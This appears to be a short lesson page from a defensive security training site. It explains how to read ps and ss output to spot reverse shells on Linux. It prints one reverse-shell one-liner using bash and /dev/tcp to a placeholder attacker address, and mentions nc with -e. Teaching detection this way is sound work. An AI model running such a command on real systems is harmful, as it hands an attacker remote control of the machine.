Skip to content
CyberSimStart training

Theory · 8 min · Linux monitoring

Live processes and reverse shells

Read ps and ss output and recognise a reverse shell.

ps -ef (or ps auxf for a tree) lists processes with their parent. ss -tunap lists sockets with the owning process. Together they answer "what is running and who is it talking to".

A reverse shell connects out from the victim to the attacker, so firewalls that only block inbound traffic let it through. Common forms: bash -i >& /dev/tcp/198.51.100.4/4444 0>&1, or nc with -e.

A web server user (www-data, apache, nginx) with a child shell, or any shell whose standard input is a network socket, is a strong sign.

GTFOBins documents how ordinary Unix binaries can be abused to spawn shells or read files; it is the Linux counterpart of LOLBAS.

T1059.004T1190

Your turn: decide on a scenario. Which process is most likely a reverse shell?

Do the interactive check Free, in the browser.

Sources

Part of